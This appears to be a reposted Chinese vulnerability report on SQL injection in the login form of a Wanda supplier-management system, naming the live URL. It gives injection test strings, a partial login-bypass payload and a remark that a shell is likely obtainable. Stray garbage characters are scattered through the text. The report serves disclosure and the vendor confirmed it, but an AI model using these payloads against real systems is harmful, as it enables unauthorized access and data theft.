万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
0 w; ~/ X- W5 s6 S详细说明：
8 a0 q9 Y5 y9 B  l; g* M万达scm系统登陆框sql注入。

+ ~+ z% p2 @$ ]: W& ohttp://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
7 X( F1 a3 p5 \- F7 X
; x$ O4 ]; P9 {
500错误。
4 _( P6 \4 R( b) A7 u# {  y! W
用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
. t, n( S/ ~( p0 h; U! ^http://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
& ^1 L$ U( {( m0 h4 G截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
  Y/ O  N% A# V, M6 f0 P经过分析，登陆验证的过程应该是：
- N6 Q1 \) g$ |3 \- i. A( }7 ]/ i
取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png
" C9 L3 e' n+ {0 Q
oracle数据库，存在注入点。@大连万达，你怎么看？
* }) f' F  V" X. S% t5 ohttp://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png
7 t  G* J1 k& K  w
/ S( ]5 u$ j) k  v, S系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
漏洞证明：
万达scm系统登陆框sql注入。

http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27

1 E3 ^6 N4 x5 z
/ l- {" P( a2 V* m4 c; X9 [500错误。
' B* u; ~! }+ n" G! k: c
8 S) @* W7 Z- g  U' z, z用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png
8 L5 ^9 [; p) y% Q* Y- o* S7 n

6 c  R$ X* ]3 l) Q9 ~1 `( X（截图有一点问题）
! N3 C) v: q6 D
怎么饶都饶不过去；经过分析，登陆验证的过程应该是：
1 B: f4 y: U) z5 ?8 N: S. \5 E
取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。

绕过：
) V7 }+ ]# I! w0 M: ?8 [; Lhttp://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1

/ N0 X* e* D; m" V* R
0 J; ?! l2 N$ O' W& W5 [oracle数据库，存在注入点。@大连万达，你怎么看？
# }, F* o1 w* i! |& A​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

1 c5 l# @3 A7 q) ]: c) P修复方案：
$ t% l. O! I) Z# E4 Z- g& C! s。。。
1 @) }$ r" ^# b2 n7 i6 |
6 h5 T  a7 H/ }1 e* x" J! L" `8 u
4 o& ]! f0 ^. y+ ?厂商已经确认

[/td][/tr]
[/table]

+ P0 m2 o% V! E
- V+ p9 Q6 s0 h  F